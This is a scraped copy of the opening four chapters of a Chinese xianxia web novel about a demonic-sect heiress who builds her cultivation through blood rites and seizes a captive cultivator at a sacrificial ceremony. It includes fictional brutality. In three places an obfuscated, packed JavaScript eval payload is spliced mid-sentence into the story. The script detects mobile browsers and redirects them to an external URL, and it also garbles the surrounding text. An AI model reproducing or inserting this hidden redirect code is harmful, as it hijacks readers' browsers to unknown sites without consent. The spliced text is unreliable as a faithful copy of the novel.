《妖女想要训狗有错吗》 1. 第 1 章 时隔一年,又是乱红如雨。 汹涌的灵气自云端汇聚而来,风卷残云般刮落无数枝头飞雪,刹那间仿佛四季颠倒,回首望去竟已是十万里春。 “这是筑基能生成的异象?!” 头一次见到这个场面的年轻弟子们震惊地张大了嘴巴,连细细的飞雪飘入了嘴里都无暇顾及,眼中只剩下惊羡,“这该是何等的天之骄子……” 旁边传来一声嗤笑。 “什么天之骄子,我看不过废材尔。” 说话之人抱臂而立,面露不屑之色,随着他脚下重重一踏,四周异象消失殆尽,“你们且仔细再看看。” 话音刚落,那蔓延的无边春色就生生停滞在了上空,隐隐有褪去的迹象。 他心想果然不出他所料,抬了抬下巴,意有所指:“我看不过是用了些天材地宝才勉强提升的修为,如此竟还有失败之兆,真是上不得台面。” 此人身份还算好认。 入宗不过半年就被归雪长老看中,天资尚可,前阵子刚突破筑基后期。归雪长老是本宗赫赫有名的元婴期大修,作为她宠爱的弟子之一,难怪有出言不逊的资本。 合着又是再打擂台。 经验老道的魔修们都默契地退后一步,眼观鼻鼻观心,只观望而不掺和。 新弟子们却有不少面露失望之色,魔道一向慕强,做事百无禁忌、手段频出,只要够强,生杀夺予不在话下。 这少主的名头好似听起来很大,却不过是金玉其外败絮其中,只能配得上一句不过如此。 于是有些人气愤开口。 “这也能位列我魔门少主之位,不过是仗着自己有一个半步化神……” “还真是投了一个好胎啊。” “换我来做少主,我都没她这么废材。” 此话一出,其余弟子默不作声地瞥了他们一眼,悄无声息地远离了原先的位置,一副避之不及的模样。 就连原先那开口嘲讽的男子也脸色大变,向后逃窜而去。 花朵从枝头坠下,刹那间人头落地,浓烈深沉的红与洁净无瑕的白交织在一起,绚烂的惊心动魄。 “砰——” 无妄殿的大门缓缓开阖,却没有任何人从中走出,唯有被笼罩在一片阒寂中的的黑暗,攥取着他们惊恐的目光。 “噤声。” 一道轻飘飘的女声从殿中传出,春曦一般柔和且动人,可温软言辞下隐含的却是森然酷烈的杀意。 他们这才想起—— 魔道本身就是个厮杀场,即便有大能庇护,也终有无法顾及的地方,能从一场场厮杀中生存下来的又岂是柔弱良善之辈。 一时间冷汗直流。 庆幸自己还是藏了些手段,跑得够快。 要知道花肥和人之间还是有着本质的区别,就比如筑基和炼气之间的差距。只有成功筑基的弟子才算的上是真正的魔门子弟,筑基以下不是杂役就是耗材,即便是大能的血脉后裔,一旦没有什么有用的价值,比之杂草也不如。 偏生凝露是个例外。 她根骨极差,堪称先天漏体,灵气对她而言犹如抓握不住的指尖沙,只会从她的丹田里源源不断地泄露出去。 能对她起作用的天材地宝少之又少,传言生长在云端的妙根仙能提升凡人的根骨资质,可这已经近乎绝迹,缥缈难寻。 凡人百年不过一瞬。 唯有修魔。 父君不肯放弃她,为她寻了血煞之法重塑丹田,然魔修以利益为重,即便他再怎么照顾凝露,也不能平白无故地向她倾斜资源,身为魔宗少主已是惹了许多非议。 尤其是面对那些真正的天之骄子,几乎是相形见绌。她日复一日、年复一年沉寂在只有枯燥杀戮的修行日子里,只为这一天的到来。 血气冲天而起,强硬地推动异象继续扩张,芳菲的春色陡转直下,肉眼可见的妖异且诡谲。 筑基俨然大成。 凝露吐出心头浊气,可惜了那个贱人逃得倒是挺快,不然她非要让他亲眼见识自己的头颅到底有多圆。 好在终于安静了。 殿内一角的玉质铜兽香炉透出凝脂般柔润的微光,明明灭灭的洒落在那些垂落于塌上的乌发,仿若裁断了一缕夜色。 袅袅青烟缭绕周身,似有仙人临世。 塌上端坐的少女也是生得一副姝丽面孔,肤色似雪,眉目弯弯,唇色不染而红,嫩白的脸颊上隐隐挂着一颗小小的笑涡,人畜无害的样子。 她闭着眼睛,强行压住体内躁动的煞气,经脉被破关的灵气强行撑开,疼痛的余息使得眼睫轻颤如脆弱的蝶翼。 无辜而又美好。 或许少主并没有传闻中的那样喜怒不定,是修士们喜欢以讹传讹,夸张了她往日的行事作风呢。 奉命前来送丹药的男弟子痴痴地想。 “少主……” 凝露已经察觉到了自己的地盘上出现了外人,她垂眸瞥了一眼,跪坐在塌边之人也抬脸微仰,容貌介于少年与青年之间,身着一袭月白衣裳,显得分外俊秀,见她望来神色矜持而又暗含期待。 看来是专门打探了她的喜好。 自从那件事过后,凝露还未见过如此胆大之人,居然还敢触那个疯狗的霉头,费尽心机来爬她的塌,还在这个微妙的时机……筑基期已可以收修行炉鼎。 一直以来魔宗里都有无数人畏惧她、嫉妒她,艳羡又或者不屑一顾,那些接近她的男男女女眼里最终的目的都是她身后的靠山。 那可是半步化神的魔君,光是手指缝里漏下的一点点都足够他们获利无穷,付出一点点无关紧要的又算什么。 要是能走捷径谁不想走。 直到她前些年招惹了一个混蛋,因不满她身边的莺莺燕燕太多,将她大殿里的侍从来来回回杀了个遍,杀得再没有人敢向她来自荐枕席……真是晦气。 她曾想送他去死。 谁叫那人还是个天才,居然被她父君看中带走了。 这么一想难怪又有人敢来招惹她。 凝露依靠在塌上,单手支着脑袋,另一只手也没闲着,指尖缠绕起了自己的头发,懒懒散散地问道:“你不怕死?” “……自然是不怕的。”他的手在抖。 “哦。” 年轻弟子鼓起勇气又颤声说了一句,说是什么还未被人享用过,还望怜惜。 凝露笑了。 她下了塌,顺着他的期待抚上了他修长的脖颈,他还顺势拉开了自己的衣裳露出大片光洁的肌肤。 简直像是待宰的羔羊。 于是——她掐住了他的喉骨,感受着生命一点点在手下流逝,挣扎的躯体一点点变得无力,直到青烟猛地蹿升。 她嗅到了熟悉的安魂香味。 魔道功法急功近利,多多少少有点副作用,她刚突破筑基,煞气难以压制,恰好有个人撞进了手里。 这弟子已然惊恐万分,眼珠暴突,姣好的容貌也狰狞到看不出一丝一毫的美感,浑身都在打颤地求饶。 厌恶,好厌恶。 这种人玩弄起来也没甚意思,揭开皮囊都是融成烂泥一样的软骨头。 若不是安魂香,他绝对会死在这里。 凝露回神,松开了手。 人一下子委顿在地,胸口剧烈地喘息,眼中惊惧之色尚存,手中的白瓷瓶碎裂一地,红色的丹丸咕噜噜地滚落在了她的脚边。 赤血丹。 若要修血煞之法,这是必不可少之物。 云观一向不赞同她修血煞法,认为此法太过阴邪狠厉,易丧失心智。 可要五十年才筑基,她难以接受。 若是云观知道她还是依靠血煞法筑基,她大概会很难过,更何况她快要回来了,要是令她看到眼前这不堪入目的场面…… 凝露身子微僵,冷声道:“快滚,今日算你走运,我还不想大开杀戒。” 得到了赦令。 年轻弟子连连下跪,眼泪鼻涕都哭了出来,旋即马不停蹄、屁滚尿流地爬走了,再也没有什么仪态可言。 凝露嫌弃地施了洁尘术,站在门口眺望了一会儿,捕捉到了一个熟悉的白色身影由远及近而来,连忙用足尖将丹药踢进了床榻下方,自己回到了蒲团上,眼睛微闭,作修行状。 云观是她幼时在外头捡到的人。 她说自己曾是世家仆从,因不小心犯了主家忌讳被驱逐,实在无处可去,只愿留在凝露身边。 这么多年云观就一直勤勤恳恳地照顾着她的生活起居,已是自己除了父君之外唯一的亲人。 凝露不想失去她对自己的喜爱。 身着白色衣裙的中年女子踏入了大殿,怀中还挽着几匹布料和珠串头花,都是凝露喜欢的款式。 她的身形并不怎么强健,甚至有些许佝偻,等她抬起头来满是刀剑伤的脸更是形状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716976|173763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可怖,勉强扯出一个笑容也是堪比止小儿夜啼。 凝露一向是爱美的,无论是大殿里的装饰,还是之前跟随过她的侍从都有着各式各样的美。 这里与云观其实格格不入。 凝露却很依恋她。 云观一进去就瞧见凝露睁着一双圆溜溜的眼睛,直勾勾地盯住了她的怀里,视线不断在她带回来的那些东西上徘徊,见她望过来还唇角微扬,金棕色的瞳孔就像是太阳照耀下的琥珀试图迷惑她。 “云观,你回来啦。” “嗯。” 云观无奈地笑了笑,放下手里的东西,去到了她的身边,挽起那头乌黑亮丽的长发,手指穿插着一下一下地梳过。 她什么也没说。 她知道凝露的性子,也知道外面那些张牙舞爪的妖花是为了什么而生,只有这样她看着长大的孩子才能够在魔门继续生存下去。 凝露坐不住了。 她嘟嘟囔囔地说着今天发生了什么事,强调了自己没有乱杀,都是别人先挑衅她的,她好不容易筑基了当然要立威。 “是的,你没错。” 凝露踏实了。 虽然有的时候她会纠结,云观只是个小小侍女,凭什么她要听,魔修就是要无恶不作、心黑手辣啊。 魔门的规矩就是如此。 好在云观不会强求她,只让她记住一句话:“魔修也是人,在保证自己生存的前提下,无论如何都不要让心底的野兽彻底吞没自己。”此话颇为慎重。 凝露不理解,不过她的记性一向很好。 镜子里的人影恍恍惚惚,云观梳头的动作也很轻柔,凝露打了个哈切,脑袋上下摇摆,差点就要睡着了。 “凝露,你是不是还有什么事没跟我说?” 犹如一道惊雷把她炸醒。 嗯。 她隐瞒了因为好奇打算收一个炉鼎,结果还差点把人家弄死这件事。 凝露探头,感到心虚。 云观一眼就知道她在想什么,她有些失笑,修行炉鼎对于魔修们很常见,可仙道之人却是极其避讳和厌恶的。 她知道凝露应该猜到了,她曾在仙门待过,可有些事情她没法说也不能说,她能做的只有守护。 雏鹰的羽翼还尚未丰满。 云观叹了口气,斟酌道:“凝露,血煞法与炉鼎法相斥,同修易损道行,两者只能存一。若不想拖累修行,女子元阴也极为重要,不到金丹期不可……” 凝露脸蹭地一下红了。 她心知自己是瞒不住的,可她也不是什么色欲熏心之辈啊,说实话她连炉鼎怎么用都还没搞明白。 “……我没有。” 她哼哧了半天,憋出来了一句解释。 “那你怎么总是分外关注一些长得年轻好看的男子?” 若不是想收炉鼎,难不成是年纪轻轻开始想谈情说爱了。 云观不禁感到担忧。 自古以来情爱最损道行,凝露这么小要是被人骗了怎么办。 她还有时间阻止吗。 可凝露看起来还是一副未开窍的样子。 云观左思右想,忽然想到了一个可能,该不会是凝露的那个坏毛病又发作了吧。 凝露也苦思冥想,想到了一个绝佳的靶子。 她严肃小脸,轻咳一声,说自己只是想收一个魔奴,来帮她应付前些年招惹的那条疯狗,顺便撑撑她作为少主出行的场面。 云观:“……” 她就知道。 她无奈扶额,叹了一声。 凝露气急:“我说的是真的,那些天之骄子有的东西,我也要有!” 这话倒不假。 云观看到了她眼中稚嫩的傲气,魔修最不注重资质,更不认什么善恶对错,一旦踏入歧途那便是万劫不复,心性一关犹如拦路虎。 她要如何才能帮到凝露呢。 云观默了半晌,思虑过后还是说出了一个她在外探得的消息,原本她不打算告凝露,可既然她已筑基倒不如提前告诉她。 凝露眨了眨眼,不敢置信。 云观告诉她,苦渡魔门即将举行血祭,归雪长老带领手下的弟子抓了一批正道修士,正在前往祭坛的路上 她恍惚间以为自己在做梦。 那个令她昼夜难眠、辗转反侧的梦,她曾坚定地认为梦都是虚假的,哪怕梦境里发生的一切至今都令她耿耿于怀。 2. 第 2 章 修行之人是极少做梦的。 修炼杂谈讲仙人之梦往往有所预兆,那是元婴期才会涉及的卜梦之术,常人所做之梦则大多杂乱无章、没有条理,皆为日有所思夜有所想的虚妄,不具备任何卜算的可能。 除非有人天纵奇才,生来便能堪破天机。 凝露做梦时还未踏入修行,她也不可能自大地认为自己那么好运就是下一任天机子,若是对虚假的梦境过于执着,说出去反而会引人发笑。修士不会无缘无故地相信一个虚无缥缈的梦,该忘却的还是得忘却。 此时此刻她却想起了。 她曾经做过一个梦,梦中不知自己如何身死,魂魄也浑浑噩噩、飘无所依,眼见星辰倒转却恍然不觉身处何时何地。模糊的意识告诉她要乖乖留在原地,不要哭不要闹,只需要等一会儿,就会有人来牵起她的双手。 那个人会将她紧紧抱入怀中,会俯身轻摸她的脸颊,会温柔地对她笑,柔和的动作蕴含着深切的爱意。 可那身影实在太过模糊。 只有那怀中的温暖无端端使人眷恋,使她的眼眶酸涩到禁不住流泪,好似心底怀着满腔的无助委屈无从诉说。 她等了许久许久。 就这样不知过了多少时日,她没能等到自己盼望着的人,却遇见了一个正道修士,他负手立于剑上,轻衣缓带,仙气浑然,俯瞰下来的淡漠眼神视她如尘间微土。 煌煌威势压得她喘不过气来,她觉得自己每一寸皮肉都在被无情的剥开审视,天道的判罚莫过于此。 凝露听见他说自己作恶多端,死不足惜,于是他袖袍一挥,便将她魂魄镇压于地脉深处,永生永世不得出。 幽深昏暗、不见天日。 这样的日子使她几欲发狂,愤怒、恐惧、害怕、哭喊认错……激烈的情绪一点点被磨灭,只剩下死水无波的平静。 她明白自己等的人不会再来了。 不过等死而已。 直到一缕天光再度刺入她的灵魂,她仰起头重新见到了光明。那个镇压她的人又回到了这里,他依旧是那样的风姿卓越,浑身的气势更加惊人,而他的身边还伫立着一位衣袂飘飘的女子,发髻高挽,周身气韵仿若能与日月争辉。 那女子轻声叹息:“把她放了吧。”声如碎玉,宛若大道仙音。 “好,弱水仙子心善,我自愧弗如。”那男子莞尔一笑,居高临下的目光睨了过来,说了什么,凝露记不得了。 她只是望着那女子心想,原来这就是正道修士。 凝露的心魂似在剧烈灼烧。 璀璨的剑光转瞬而起,呼啸的狂风吹动着她披散的发丝胡乱飞舞,如此惊艳夺目的光芒衬得她确实晦暗如微尘。 隐隐约约中她听见有人在说:“……可悲可怜。” 这说的是她吗。 凝露的灵魂无措地飘了飘,眼神茫然地望着此方世界,抬头是白茫茫的浩渺天地,低头是赤足埋于黄沙万里,苦渡魔门早已落败不堪,她好似一朝得了自由,又好似天地间再无她容身之处。 她心想她作恶多端,她认,他凭什么觉得自己可悲可怜,她要风得风,要雨得雨,父君还是半步化神境的大修士,若不是她出了意外…… 只是父君没来得及救她,他凭什么说自己可怜! 她追上去询问,询问他为什么不直接诛杀自己的灵魂,询问那个女子为何轻飘飘地又要放过她,她这样的魔道妖女不需要任何人的施舍怜悯,说到最后她已是咬牙切齿。 女子没有回答。 而那男人竟只是瞥了她一眼,微微一笑,便和身边的人携手而去了。 于是天地间又剩下她一人。 她感觉到了自己的魂魄正在消散,难以言喻的恐惧令她瞬间惊醒…… 那是死亡给予她的余晖。 凝露回忆起这个该死的梦境,头一次把目光转移到了那个曾令她惧怕的男人身上,她想要认真看清他的模样,可他的面容却离她越来越远,留给她的只有一句句叹息般的“可怜可悲”,堪称刻骨铭心。 她醒来就向父君要了好多法器,修炼也比从前刻苦了多,出于某种自己都不清楚的念头,她对这类修士有了想要探寻的欲望。她很好奇,若是这样的人陷入炼狱,身心皆不由自己所控,是否还能够本心不变、道心如初呢。 尤其是梦中那个男人。 她想要狠狠折断他的脊骨,把他踩在脚底下,看着那张高高在上的脸露出屈辱而又不得不从的神态。 可内心深处她又向往着那惊鸿一瞥、漱冰濯雪般的女子。 仙门万般好,连带着正道修士在世俗的地位也是无比崇高。 魔道只会令人畏惧。 如果能修仙,谁又愿意入魔。 哪怕是云观也不例外,凝露能看出她神情里仍然带着对仙门的怀念,以及她望向自己的目光里充满了浓重的遗憾。 凝露讨厌那样的目光。 光亮的水晶镜子映照出她的面容,她抿直唇角,看见了自己耷拉下来的细弯眉梢。镜中少女的眉眼也莫名阴郁,肤色苍白,唇红似血,犹如背光生长在阴暗角落里的一朵艳丽蘑菇,色泽一看就是带着剧毒。 云观却别出心裁地将她鬓边两缕发用墨绿色绸缎挽起,下端缀着几颗鲜红的赪玉珠,状似垂落下的蝉翼,于是那少女也流露出一副俏皮可爱的样子。 萦绕在她身上的血腥气似乎也弱化了几分。 凝露愣住了,摸着自己刚挽好的发髻,对着镜子左看右看,脸颊两侧垂落下来的红色玉珠也相互碰撞,发出了清脆的声响。 过了好一会儿,她才有些别扭地说道:“我已经筑基了。” 她觉得自己应该看起来更凶狠一点,成为一名合格的筑基期魔修,从此再不会有人敢轻视于她。 尤其是那个夜星。 凝露想起她就很生气,说好的愿意成为自己的剑,替自己扫除一切阻碍,永不背叛。她听了很感动,不愿给夜星打上低贱的魔奴印,给了她一心想要的自由。结果人家踩着她攀上了高枝,一跃成为了魔君亲传,转身就翻脸不认了。 如今她还得喊夜星一句师姐。 凝露才不会喊。 她只会当做没看见,当做从来没有过这个人。 她六岁开始修炼,十年方成筑基,虽比不上那些百日筑基、入道既飞升的天才,在亲近的人眼里却已是与有荣焉。 “是啊,凝凝已经长大了呢。”云观眼里含着笑意。 乍然听见自己的小名,凝露有些怔松。 她的生辰刚好就在筑基的那一日,亲自为她庆祝的是云观,父君没有见她,而是派人送来了丹药法宝。无妄殿来来去去那么多人,最终也只剩下了云观和她自己。 她想起幼年修炼无聊的时候,她常常溜到凡人界域去看烟火,看着穿梭在各色花灯之中的人群。橘色的火光倒映在她的瞳孔里,绚烂而又璀璨,却都比不上她亲眼见到的那一幕。 天真烂漫的女童,紧紧牵着她双手的父母,娇声娇气的话语,他们脸上宠溺的微笑,以及那盏可爱的兔子灯。兔子的眼珠子红彤彤的,像极了女童发髻上缠绕的那一抹为鲜艳明亮的红。 她躲在树上看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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赤幽燃烧着的火焰也旺盛了几分,周身的光芒微微闪烁,似乎是在回应。 它化作镯子套在了凝露的手腕上。 凝露看了眼天色,傍晚的红霞将远处的天空染成一片深深浅浅的红,数百年举行一次的血祭大典也即将开始了。 魔门血祭可以谓之腥风血雨,其目的有两个: 一是魔门招新。 二是还道于天。 魔土怨煞之气过重,有失天地平衡,强大的魔修不愿意献祭己身,归还天地灵气,自然而然地想到了献祭其余修士。 毕竟十二大洲里已有六大洲被魔道势力牢牢掌控,称为苍玄魔土,苦渡魔门便是魔土六大顶尖势力之一。 另有三洲称为西岭,世家林立。 最后更为偏远的北三洲便是仙门道统所在之地,它们时常跑去其余大洲偷摸着留下自己的传承,或者暗中发展势力,只是凡有道魔之争,几乎都以失败告终。 苍玄界就是这样一个魔道势力横行的地方。 众生皆为蝼蚁。 凝露回过头,忽然问:“云观,你说魔门会有覆灭的那一天吗?” 云观惊住了。 凝露见自己吓到了她,面上露出狡黠的微笑,踏着花瓣就直接飞上了云海,裙摆飞扬间已是无影无踪。 如果梦是真的,那么一切才刚刚开始。 无论未来那人有多么的风华绝代、威震八方,现在都不过是即将被血祭的羔羊,生与死也只在魔门的一念之间。 3. 第 3 章 黄沙漫天的高原上穿过一支送葬般的队伍,白幢被风吹得烈烈作响,所过之处妖兽退避。 古朴的乌金战车悬于半空,牵引下方密密麻麻的锁链,禁制符文光辉闪烁,一个接一个被串住的修士们面色如土,再之后是乌泱泱的魔修。 锁灵环穿过薄薄的锁骨,稍微一动便磨出无数骨茬肉沫,双手双脚拖着沉重的镣铐,鼻尖也嗅着自己身上传来的血腥气,疼痛竟已成了维持神智清醒的唯一方法。 一路猪狗不如。 确实是不如的,祭天地首先要祭三牲,等到它们被恭恭敬敬地摆上台,剩下的祭祀才轮到他们。 眼看着就要入血池了,被抓来的修士们脸上一片惨淡,想到刚下山时的志得意满,再到如今的鱼肉刀俎,想逃也逃不掉,想死也死不了,毕竟有元婴魔修坐阵。 好不容易传出求救的讯息,人都已经成功祭天了。 眼前的魔修还温温柔柔地说着:“我们魔门也不是不讲道理的,要是踏入了血池还没融化成血水,说明你命不该绝,天不收你啊。当然也不可能放你走,你们可以选择成为我宗弟子,于血池得百人头颅者可入我宗外门……” 她语气一转,阴森狠厉起来,“要是全杀了,我就拿你祭天。” 血池静默。 直到亲眼见到一摊血水的形成后,年轻的修士们终于明白这就是在鼓励他们自相残杀,要么死,要么活。 气氛一下迥异了起来。 归雪不是第一次主持血祭了,她知道迟早会出现第一个动手的人,她才不管魔宗能收到多少新弟子,她只要血池里死的人够多,煞气和灵气保持一个平衡就行。 不过人死光了也不好交代,所以她特地加上了最后一句话。 果不其然血池乱了。 归雪满意地点点头,吩咐自己的弟子看守,她堂堂元婴期大修怎么可能亲自看守血池,反正她的神识已经笼罩了方圆千里,没有人能在她眼皮子底下逃跑。 很快血池里只剩下二三十人,有男有女,分成了泾渭分明的两波,彼此间站得很远,充满了忌惮。 归雪挑了挑眉:“看来有刺头啊。” 她对按照她说法进行杀戮的人不感兴趣,只看向了另一边,不仅从血池中活了下来,身上也没什么杀戮气息,理智还很清醒,估计身份不简单。 但她懒得探究。 人群缓缓分开,从中走出了一位高挑纤瘦的女子,青丝垂落,雪白的衣裳被血水染红,不仅没有显得脏污,还为她增添了一抹别样的色彩。 她先行了一礼,举止落落大方。 “前辈见谅,您之前所言只是于血池得百人头颅,并未言明须是杀人所得,所以晚辈自作主张……只杀了该杀之人。” 她语气淡然,并未对杀人有任何的愧疚,只有坚定。 归雪恍了恍神,将视线从她的身上挪开,神色有些复杂,她居然被迷了一瞬,怎会有人能长成这样。 若要她来形容——那便是犹如火烧白玉,愈冷也愈烈。 归雪又问她何为该杀之人。 那女子沉默了一瞬,只缓缓回了八个字。 “心智已失,无可救药。” 归雪的兴趣彻底被挑了起来,难得动了惜才之心:“你叫什么名字?可愿做我的弟子?” “晚辈徐弱水,自然是愿意的。” 既然入了魔门,就别想再回仙门。 归雪心情大好,没想到主持个破血祭,还能收到个合心意的弟子,看来这趟出来得甚好,不算浪费她的时间。 徐弱水瞥了眼岸上之人,露出了一个清风明月般的微笑。 周晟敢怒不敢言,眼见着自己看好的炉鼎被师尊看中了,只能暗自压下了自己的心思,他只是一个记名弟子,因为有几分姿色才被归雪看中。 没有炉鼎,那就寻个战奴吧。 他烦躁地扫视了一遍血池,视线落到了一个靠在血池边沿的男子身上,黑发披散看不出面容,一副重伤快要身死的模样。 身上灵息不弱,天赋应该可以。 反正这里都是些炼气期的蝼蚁,如果没有被归雪长老那样的大人物看中,就算进了苦渡魔门也是作杂役的料子。 他禀告了自己师尊。 归雪不置可否,魔门的规矩就是如此,若是不想做战奴,那就只能赢过对方,不过看他半死不活的样子,估计难了。 更何况她作为师尊,还是要为自己的弟子考虑的。 …… “战奴或者死,你可以选一个。”周晟冷冷道。 萧阙寒被气笑了。 他头一次觉得自己挺倒霉的,内伤半路发作,好不容易找了一个偏僻的小村庄休憩,然后碰上了魔道修士,修为又被压制在了炼气期。 本想着在血池明哲保身,结果所有人的攻击就率先朝他来了,逼得他不得不出手杀人,牵扯了他的伤势。 如今还有人敢让他做战奴。 “你配吗?” 听到这句轻蔑的话,周晟的怒火一下子被激了起来,怒气冲冲地将那人卷上了岸,灵力隔空捏碎了他的腿骨,他最听不得有人讽刺于他。 不过出于谨慎,他并没有靠得很近。 萧阙寒听着自己的骨骼粉碎声,压下了心中的杀意,只微微垂着脸作一副气若游丝状,他估摸了下周晟和自己之间的距离,盘算着能够暴起杀人的时机。 眼下他还不够近。 萧阙寒咳出一口鲜血,唇角弯起,毫不留情地嘲讽道:“毛毛雨一样的攻击,跟你这个人一样软,你也配让我臣服于你。” 周晟炸了。 他无比清楚地知道这人不过是强弩之末,占着口头上风罢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716978|173763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但他就是咽不下这口气,此人直接戳中了他心底最难以启齿之事。 周晟神色阴沉,向前连走了几步,半蹲着抓起眼前人被血污过的发,往后一扯,将他的面容完全暴露了出来。 “呵,你倒是硬骨头,那我偏要看看你的骨头有多硬……” 周晟心想今日若是不能令此人臣服于他,待事情传回宗门,他的脸面就彻底完了。归雪长老也会因此再度评估他是否还有作为徒弟的价值。 他低头望去,然后愣住了。 萧阙寒目光冷冽,抬手就要震碎他的头颅,就在心底的戾气即将得到释放的时候,一朵殷红的花砸到了他的面上,花瓣边缘很是锋利,凡是刮过的地方都留下了一道道血痕,衬得那张脸更艳了。 他偏了偏脸,露出了一双幽幽的碧绿色瞳孔。 “不好意思,砸偏了呢。我看你们这里挺热闹的,就忍不住插上一手。”耳边传来一道轻柔而又婉转的女声。 萧阙寒循着声音,看见一名红衣少女坐在从血池里生长出来的一朵巨大的花上,笑意盈盈地注视着他。 眼底明晃晃的恶意。 萧阙寒面无表情,内心竟然奇异的平静下来,大抵是因为那个周晟已经被她扔的花给扑头盖脸地砸进了血池里。 而且她没被自己的皮相迷惑。 “那我还得谢谢你?”他眯了眯眼,姿态闲散地倚在血池旁,手臂肌肉却紧绷了起来。 萧阙寒有点摸不清她的恶意来自于哪里,但不妨碍他拉满自己的警惕,长得越无害的东西隐藏的危险也就越甚。 “对啊。” 凝露眨了眨眼,慢悠悠地回他,“我可是帮你化去了一场生死危机,所以你是不是应当回报我呢,比如做我的魔奴。” 她示意他去看坐在上首的归雪长老,语气里全是威胁。 真是好大一个“救命之恩”,硬生生把他摁死在了奴仆的身份上。 萧阙寒眼眸微凝,心思百转,不动声色地将手掩入衣袖,平静沉冷地盯着那名红衣少女,目也不瞬。 凝露被他盯得不自在,下意识想要退后几步,转念一想自己才是主人啊,遂顶住他几欲噬人的眼神,恶狠狠地瞪了回去。 不管他曾经是什么人,现在是龙得给她趴着,是虎也得给她伏着。 …… 对峙了一会儿,萧阙寒倏然笑了,眼尾狭长,瞳色如碧,刹那间容色生光,仿若月柳初绽,光华万千。 极其晃眼。 凝露深深觉得这就是她梦中人的模样,心中更恨了。 灼热的目光逼得萧阙寒也不得不低头。 他挪开了视线。 “你很好,我承认被你威胁到了。”萧阙寒语调轻缓,言辞和煦,面上没有任何一丝一毫的屈辱和不耐。 若是忽略他袖中紧攥的手指。 4. 第 4 章 凝露得意地勾起唇角,神态睥睨,圆圆的眼瞳像猫儿一样漂亮,眼波流转间充满了明媚的生机,很是动人。 她是故意坏了他的事。 萧阙寒凝视着她的面容,好似要把她牢牢刻入自己的内心,他还从未有过今日这般体验。极致的愤怒一点点平息,取而代之的是唇齿间泛起的密密麻麻的痒意,好像只有把她彻底嚼碎了才能安抚住胸腔里那颗躁动的心。 索性他不再看她。 若是没有凝露插手,萧阙寒可以借机杀了周晟,按照魔门规矩来讲无可厚非,顶多归雪真君看他不顺眼,施以惩戒。 他还可以继续在魔宗蛰伏下去。 如今有人相争,他成了众矢之的,若是还在归雪眼皮子底下杀她的弟子,那就是赤·裸裸地打一位元婴真君的脸。更何况他被人截杀数月,已是身受重伤、精疲力尽,急需休养生息,巩固本源,否则容易跌境。 不然以他金丹后期的修为,哪会那么容易被抓入血池。 至于这位莫名出现的红衣少女……她身上点缀的小装饰全是隐匿起来的法宝,对归雪的态度也没有其余弟子那样恭敬,说明她身后有着不小的靠山。 归雪真君对她的态度也不寻常。 极有可能是某位元婴大君的血脉后裔,且备受宠爱,魔宗元婴期的修士屈指可数,排除没有子嗣的,拿子嗣修炼用的,脑海中的人选只剩下了一位——苦渡魔门现任宗主,化神期以下第一人,离焱魔君。 杀了她会很麻烦,往后的日子可能会再无安宁。 除非他强行突破元婴。 萧阙寒垂下眼睫,浓密的睫羽覆盖住眼中幽潭般的深意,他在衡量这样的后果是否值得他冒一次险。 …… 凝露自然不可能给他这个机会,她决不会让他从魔门的手中逃脱出去,否则就是放虎归山了。 她做了很多次梦才得知,原来有一类人被称作道子,他们生来便被大道青睐,气运强盛,堪称各个道统的底蕴,要想杀他们就要先面对道统这个庞然大物。 那是气运之争。 仙道之所以能在她的梦中压制魔道,便是因为北三洲的道统皆现传人,譬如未来匡扶正道的弱水仙子,香火封神的元渺天人,征战妖原的西岭帝子,持灯渡魔的敛真佛子……这些人是真正意义上的绝世天骄,风起云涌的大世里璀璨光辉的辰星。 而魔道的道统还隐隐未现。 凝露试图把自己的梦告诉过父君,她虽不在乎魔道的兴衰,但她知道苦渡魔门是父君的心血,一定不会眼睁睁地看着它落败。 她以为这次父君肯定会见自己了。 他却说这不是凝露该关心的事,她只要好好修炼就行,苦渡魔门尚有化神老祖坐镇,魔道的道统也自有它的传人,苍玄界永远是属于魔修的地盘。 父君说得语焉不详。 凝露隐隐有些失落,很快又打起了精神,就算魔门的道统与自己无关,未来的大世也不属于她,她也要轰轰烈烈地度过一生,她再也不要像梦中的自己那样活成一摊无知无觉的死水了。 所以她执意寻找着自己的梦中人。 凝露在梦中唯一见过真容的只有弱水仙子,对她很是向往,她不知道弱水为何要混入魔门,担心她会被当成炉鼎折辱,如今见她好端端地立在归雪身后就放下了心。 归雪长老对合她眼的女修是颇为庇护看重的,对男弟子就一般般了,于她而言是可有可无的修炼耗材。 凝露把她的弟子砸落血池,闹了一番大动静,虽说以归雪的性格不会为难她,但这也是对元婴真君的不敬,她再嚣张也不能嚣张到自己的前辈头上。 于是还是规规矩矩地向她行了一礼,说明了自己的来意。 归雪的面色也好看了一点。 凝露说着说着,视线总是不自觉地飘去了她身后,因此没有注意到归雪看她的眼神有一丝难言的复杂。 